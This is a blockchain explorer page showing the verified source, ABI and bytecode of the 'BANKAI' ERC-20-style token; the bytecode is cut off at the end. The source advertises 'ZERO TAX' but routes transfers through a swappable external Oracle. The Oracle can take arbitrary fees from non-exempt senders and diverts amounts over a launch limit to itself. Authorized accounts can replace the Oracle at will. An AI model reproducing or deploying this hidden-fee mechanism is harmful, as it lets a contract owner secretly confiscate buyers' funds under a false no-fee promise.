Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 97 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 13894386 | 1536 days ago | IN | 0 ETH | 0.00331583 | ||||
| Approve | 13875948 | 1539 days ago | IN | 0 ETH | 0.0018036 | ||||
| Set New Oracle | 13590621 | 1584 days ago | IN | 0 ETH | 0.00635431 | ||||
| Approve | 13552899 | 1590 days ago | IN | 0 ETH | 0.00724353 | ||||
| Approve | 13518027 | 1595 days ago | IN | 0 ETH | 0.00306133 | ||||
| Approve | 13486983 | 1600 days ago | IN | 0 ETH | 0.00321124 | ||||
| Approve | 13417067 | 1611 days ago | IN | 0 ETH | 0.00589174 | ||||
| Approve | 13416163 | 1611 days ago | IN | 0 ETH | 0.00496343 | ||||
| Transfer | 13413229 | 1612 days ago | IN | 0 ETH | 0.00379091 | ||||
| Transfer | 13412537 | 1612 days ago | IN | 0 ETH | 0.00376978 | ||||
| Approve | 13406340 | 1613 days ago | IN | 0 ETH | 0.00272052 | ||||
| Approve | 13405665 | 1613 days ago | IN | 0 ETH | 0.00163207 | ||||
| Approve | 13405601 | 1613 days ago | IN | 0 ETH | 0.00197661 | ||||
| Approve | 13405225 | 1613 days ago | IN | 0 ETH | 0.00319159 | ||||
| Approve | 13403889 | 1613 days ago | IN | 0 ETH | 0.00282724 | ||||
| Approve | 13403112 | 1613 days ago | IN | 0 ETH | 0.00356286 | ||||
| Approve | 13403107 | 1613 days ago | IN | 0 ETH | 0.00459251 | ||||
| Approve | 13403052 | 1613 days ago | IN | 0 ETH | 0.00295893 | ||||
| Approve | 13402899 | 1613 days ago | IN | 0 ETH | 0.00322252 | ||||
| Approve | 13402676 | 1613 days ago | IN | 0 ETH | 0.00262843 | ||||
| Approve | 13402632 | 1613 days ago | IN | 0 ETH | 0.0033813 | ||||
| Approve | 13402615 | 1613 days ago | IN | 0 ETH | 0.00501001 | ||||
| Approve | 13402552 | 1613 days ago | IN | 0 ETH | 0.00343278 | ||||
| Approve | 13402192 | 1613 days ago | IN | 0 ETH | 0.00378878 | ||||
| Set New Oracle | 13401914 | 1613 days ago | IN | 0 ETH | 0.00368714 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
BANKAI
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2021-10-09
*/
//SPDX-License-Identifier: UNLICENSED
/**
* ZERO TAX TOKEN
* * https://t.me/BANKAIEth
*/
pragma solidity ^0.7.6;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IOracle {
function launch() external;
function checkForOracle(uint256, address, address, address) external returns (uint256,bool);
function register(address) external;
function auctionMode() external returns(bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract BANKAI is IBEP20, Auth {
using SafeMath for uint256;
string constant _name = "BANKAI";
string constant _symbol = "BANKAI";
uint8 constant _decimals = 9;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isSnipeExempt;
uint256 _totalSupply = 100000000 * (10 ** _decimals);
uint256 launchLimit = 100000 * (10 ** _decimals);
IOracle Oracle;
uint256 public launchedAt;
uint256 public launchedAtTime;
bool public launchCompleted = false;
constructor (address _Oracle) Auth(msg.sender) {
Oracle = IOracle(_Oracle);
isSnipeExempt[owner] = true;
isSnipeExempt[_Oracle] = true;
_balances[owner] = _totalSupply;
_allowances[address(this)][address(_Oracle)] = uint256(-1);
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
receive() external payable { }
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IBEP20(_token).transfer(msg.sender, amount);
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function registerOracle() external authorized {
Oracle.register(address(this));
}
function SetNewOracle(address _Oracle) external authorized {
Oracle = IOracle(_Oracle);
_allowances[address(this)][address(_Oracle)] = uint256(-1);
isSnipeExempt[_Oracle] = true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(launched() && launchedAtTime + 5 minutes >= block.timestamp){
if(Oracle.auctionMode() && amount > launchLimit)
{uint256 offset = amount.sub(launchLimit);
_balances[address(Oracle)] = _balances[address(Oracle)].add(offset);
emit Transfer(sender, address(Oracle), offset);
amount = launchLimit;}
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived;
if(!isSnipeExempt[recipient]){amountReceived= shouldCheckOracle(sender) ? checkOracles(sender, amount, recipient) : amount;}else{amountReceived = amount;}
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function shouldCheckOracle(address sender) internal view returns (bool) {
return !isSnipeExempt[sender];
}
function checkOracles(address sender,uint256 amount, address receiver) internal returns (uint256) {
(uint256 feeAmount,bool isOracle) = Oracle.checkForOracle(amount,sender,receiver,msg.sender);
if(isOracle){_balances[address(Oracle)] = _balances[address(Oracle)].add(feeAmount);
emit Transfer(sender, address(Oracle), feeAmount);}
return amount.sub(feeAmount);
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() external authorized{
require(!launched());
launchedAt = block.number;
launchedAtTime = block.timestamp;
Oracle.launch();
}
function blockNumber() external view returns (uint256){
return block.number;
}
function setIsSnipeExempt(address holder, bool exempt) external authorized {
isSnipeExempt[holder] = exempt;
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"_Oracle","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_Oracle","type":"address"}],"name":"SetNewOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchCompleted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAtTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"recoverToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"registerOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsSnipeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405267016345785d8a0000600555655af3107a4000600655600a805460ff1916905534801561003057600080fd5b506040516114083803806114088339818101604052602081101561005357600080fd5b505160008054336001600160a01b0319918216811783558252600160208181526040808520805460ff199081168517909155600780549095166001600160a01b038089169182179096558654861687526004845282872080548316861790558087528287208054909216909417905560058054865486168752600284528287205530865260038352818620938652928252808520600019905584549254815190815290519290931693927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506112d0806101386000396000f3fe6080604052600436106101855760003560e01c8063893d20e8116100d1578063bcdb446b1161008a578063f0b37c0411610064578063f0b37c0414610595578063f2fde38b146105c8578063fd07c8b7146105fb578063fe9fbb80146106105761018c565b8063bcdb446b14610530578063bf56b37114610545578063dd62ed3e1461055a5761018c565b8063893d20e81461044557806395d89b41146101a8578063a03b3b4d14610476578063a9059cbb1461048b578063b29a8140146104c4578063b6a5d7de146104fd5761018c565b8063313ce5671161013e578063571ac8b011610118578063571ac8b01461038f57806357e871e7146103c257806370a08231146103d75780637c0c40541461040a5761018c565b8063313ce5671461031c578063327693da14610347578063339d25901461037a5761018c565b806301339c211461019157806306fdde03146101a8578063095ea7b31461023257806318160ddd1461027f57806323b872dd146102a65780632f54bf6e146102e95761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610643565b005b3480156101b457600080fd5b506101bd610705565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f75781810151838201526020016101df565b50505050905090810190601f1680156102245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023e57600080fd5b5061026b6004803603604081101561025557600080fd5b506001600160a01b038135169060200135610725565b604080519115158252519081900360200190f35b34801561028b57600080fd5b5061029461078b565b60408051918252519081900360200190f35b3480156102b257600080fd5b5061026b600480360360608110156102c957600080fd5b506001600160a01b03813581169160208101359091169060400135610791565b3480156102f557600080fd5b5061026b6004803603602081101561030c57600080fd5b50356001600160a01b0316610851565b34801561032857600080fd5b50610331610865565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101a66004803603602081101561036a57600080fd5b50356001600160a01b031661086a565b34801561038657600080fd5b506101a6610903565b34801561039b57600080fd5b5061026b600480360360208110156103b257600080fd5b50356001600160a01b0316610997565b3480156103ce57600080fd5b506102946109ab565b3480156103e357600080fd5b50610294600480360360208110156103fa57600080fd5b50356001600160a01b03166109af565b34801561041657600080fd5b506101a66004803603604081101561042d57600080fd5b506001600160a01b03813516906020013515156109ca565b34801561045157600080fd5b5061045a610a3d565b604080516001600160a01b039092168252519081900360200190f35b34801561048257600080fd5b50610294610a4c565b34801561049757600080fd5b5061026b600480360360408110156104ae57600080fd5b506001600160a01b038135169060200135610a52565b3480156104d057600080fd5b5061026b600480360360408110156104e757600080fd5b506001600160a01b038135169060200135610a66565b34801561050957600080fd5b506101a66004803603602081101561052057600080fd5b50356001600160a01b0316610b32565b34801561053c57600080fd5b506101a6610b9c565b34801561055157600080fd5b50610294610c0e565b34801561056657600080fd5b506102946004803603604081101561057d57600080fd5b506001600160a01b0381358116916020013516610c14565b3480156105a157600080fd5b506101a6600480360360208110156105b857600080fd5b50356001600160a01b0316610c3f565b3480156105d457600080fd5b506101a6600480360360208110156105eb57600080fd5b50356001600160a01b0316610ca3565b34801561060757600080fd5b5061026b610d54565b34801561061c57600080fd5b5061026b6004803603602081101561063357600080fd5b50356001600160a01b0316610d5d565b61064c33610d5d565b61068b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b610693610d7b565b1561069d57600080fd5b4360085542600955600754604080516301339c2160e01b815290516001600160a01b03909216916301339c219160048082019260009290919082900301818387803b1580156106eb57600080fd5b505af11580156106ff573d6000803e3d6000fd5b50505050565b60408051808201909152600681526542414e4b414960d01b602082015290565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000191461083e576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610819918490610d83565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b610849848484610e1a565b949350505050565b6000546001600160a01b0390811691161490565b600990565b61087333610d5d565b6108b2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600780546001600160a01b039092166001600160a01b03199092168217905530600090815260036020908152604080832093835292815282822060001990556004905220805460ff19166001179055565b61090c33610d5d565b61094b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60075460408051632210724360e11b815230600482015290516001600160a01b0390921691634420e4869160248082019260009290919082900301818387803b1580156106eb57600080fd5b60006109a582600019610725565b92915050565b4390565b6001600160a01b031660009081526002602052604090205490565b6109d333610d5d565b610a12576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b60095481565b6000610a5f338484610e1a565b9392505050565b6000610a7133610d5d565b610ab0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b0385169163a9059cbb9160448083019260209291908290030181600087803b158015610aff57600080fd5b505af1158015610b13573d6000803e3d6000fd5b505050506040513d6020811015610b2957600080fd5b50519392505050565b610b3b33610851565b610b75576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b610ba533610851565b610bdf576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610c0b573d6000803e3d6000fd5b50565b60085481565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610c4833610851565b610c82576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b610cac33610851565b610ce6576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b600a5460ff1681565b6001600160a01b031660009081526001602052604090205460ff1690565b600854151590565b60008184841115610e125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dd7578181015183820152602001610dbf565b50505050905090810190601f168015610e045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610e24610d7b565b8015610e3657504260095461012c0110155b15610f6e57600760009054906101000a90046001600160a01b03166001600160a01b031663f92a23ba6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610e8b57600080fd5b505af1158015610e9f573d6000803e3d6000fd5b505050506040513d6020811015610eb557600080fd5b50518015610ec4575060065482115b15610f6e576000610ee0600654846110a290919063ffffffff16565b6007546001600160a01b0316600090815260026020526040902054909150610f0890826110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251858152925190821693918916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a36006549250505b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610fc0918490610d83565b6001600160a01b03808616600090815260026020908152604080832094909455918616815260049091529081205460ff1661101a57610ffe8561113e565b6110085782611013565b61101385848661115d565b905061101d565b50815b6001600160a01b03841660009081526002602052604090205461104090826110e4565b6001600160a01b0380861660008181526002602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6000610a5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d83565b600082820183811015610a5f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526004602052604090205460ff161590565b600754604080516318efb0a560e21b8152600481018590526001600160a01b038681166024830152848116604483015233606483015282516000948594859493909116926363bec294926084808301939282900301818787803b1580156111c357600080fd5b505af11580156111d7573d6000803e3d6000fd5b505050506040513d60408110156111ed57600080fd5b50805160209091015190925090508015611286576007546001600160a01b031660009081526002602052604090205461122690836110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251868152925190821693918a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a35b61129085836110a2565b969550505050505056fea2646970667358221220fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d63364736f6c6343000706003300000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d
Deployed Bytecode
0x6080604052600436106101855760003560e01c8063893d20e8116100d1578063bcdb446b1161008a578063f0b37c0411610064578063f0b37c0414610595578063f2fde38b146105c8578063fd07c8b7146105fb578063fe9fbb80146106105761018c565b8063bcdb446b14610530578063bf56b37114610545578063dd62ed3e1461055a5761018c565b8063893d20e81461044557806395d89b41146101a8578063a03b3b4d14610476578063a9059cbb1461048b578063b29a8140146104c4578063b6a5d7de146104fd5761018c565b8063313ce5671161013e578063571ac8b011610118578063571ac8b01461038f57806357e871e7146103c257806370a08231146103d75780637c0c40541461040a5761018c565b8063313ce5671461031c578063327693da14610347578063339d25901461037a5761018c565b806301339c211461019157806306fdde03146101a8578063095ea7b31461023257806318160ddd1461027f57806323b872dd146102a65780632f54bf6e146102e95761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610643565b005b3480156101b457600080fd5b506101bd610705565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f75781810151838201526020016101df565b50505050905090810190601f1680156102245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023e57600080fd5b5061026b6004803603604081101561025557600080fd5b506001600160a01b038135169060200135610725565b604080519115158252519081900360200190f35b34801561028b57600080fd5b5061029461078b565b60408051918252519081900360200190f35b3480156102b257600080fd5b5061026b600480360360608110156102c957600080fd5b506001600160a01b03813581169160208101359091169060400135610791565b3480156102f557600080fd5b5061026b6004803603602081101561030c57600080fd5b50356001600160a01b0316610851565b34801561032857600080fd5b50610331610865565b6040805160ff9092168252519081900360200190f35b34801561035357600080fd5b506101a66004803603602081101561036a57600080fd5b50356001600160a01b031661086a565b34801561038657600080fd5b506101a6610903565b34801561039b57600080fd5b5061026b600480360360208110156103b257600080fd5b50356001600160a01b0316610997565b3480156103ce57600080fd5b506102946109ab565b3480156103e357600080fd5b50610294600480360360208110156103fa57600080fd5b50356001600160a01b03166109af565b34801561041657600080fd5b506101a66004803603604081101561042d57600080fd5b506001600160a01b03813516906020013515156109ca565b34801561045157600080fd5b5061045a610a3d565b604080516001600160a01b039092168252519081900360200190f35b34801561048257600080fd5b50610294610a4c565b34801561049757600080fd5b5061026b600480360360408110156104ae57600080fd5b506001600160a01b038135169060200135610a52565b3480156104d057600080fd5b5061026b600480360360408110156104e757600080fd5b506001600160a01b038135169060200135610a66565b34801561050957600080fd5b506101a66004803603602081101561052057600080fd5b50356001600160a01b0316610b32565b34801561053c57600080fd5b506101a6610b9c565b34801561055157600080fd5b50610294610c0e565b34801561056657600080fd5b506102946004803603604081101561057d57600080fd5b506001600160a01b0381358116916020013516610c14565b3480156105a157600080fd5b506101a6600480360360208110156105b857600080fd5b50356001600160a01b0316610c3f565b3480156105d457600080fd5b506101a6600480360360208110156105eb57600080fd5b50356001600160a01b0316610ca3565b34801561060757600080fd5b5061026b610d54565b34801561061c57600080fd5b5061026b6004803603602081101561063357600080fd5b50356001600160a01b0316610d5d565b61064c33610d5d565b61068b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b610693610d7b565b1561069d57600080fd5b4360085542600955600754604080516301339c2160e01b815290516001600160a01b03909216916301339c219160048082019260009290919082900301818387803b1580156106eb57600080fd5b505af11580156106ff573d6000803e3d6000fd5b50505050565b60408051808201909152600681526542414e4b414960d01b602082015290565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000191461083e576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610819918490610d83565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b610849848484610e1a565b949350505050565b6000546001600160a01b0390811691161490565b600990565b61087333610d5d565b6108b2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600780546001600160a01b039092166001600160a01b03199092168217905530600090815260036020908152604080832093835292815282822060001990556004905220805460ff19166001179055565b61090c33610d5d565b61094b576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60075460408051632210724360e11b815230600482015290516001600160a01b0390921691634420e4869160248082019260009290919082900301818387803b1580156106eb57600080fd5b60006109a582600019610725565b92915050565b4390565b6001600160a01b031660009081526002602052604090205490565b6109d333610d5d565b610a12576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b60095481565b6000610a5f338484610e1a565b9392505050565b6000610a7133610d5d565b610ab0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b0385169163a9059cbb9160448083019260209291908290030181600087803b158015610aff57600080fd5b505af1158015610b13573d6000803e3d6000fd5b505050506040513d6020811015610b2957600080fd5b50519392505050565b610b3b33610851565b610b75576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b610ba533610851565b610bdf576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610c0b573d6000803e3d6000fd5b50565b60085481565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610c4833610851565b610c82576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b610cac33610851565b610ce6576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b600a5460ff1681565b6001600160a01b031660009081526001602052604090205460ff1690565b600854151590565b60008184841115610e125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dd7578181015183820152602001610dbf565b50505050905090810190601f168015610e045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610e24610d7b565b8015610e3657504260095461012c0110155b15610f6e57600760009054906101000a90046001600160a01b03166001600160a01b031663f92a23ba6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610e8b57600080fd5b505af1158015610e9f573d6000803e3d6000fd5b505050506040513d6020811015610eb557600080fd5b50518015610ec4575060065482115b15610f6e576000610ee0600654846110a290919063ffffffff16565b6007546001600160a01b0316600090815260026020526040902054909150610f0890826110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251858152925190821693918916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a36006549250505b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610fc0918490610d83565b6001600160a01b038086166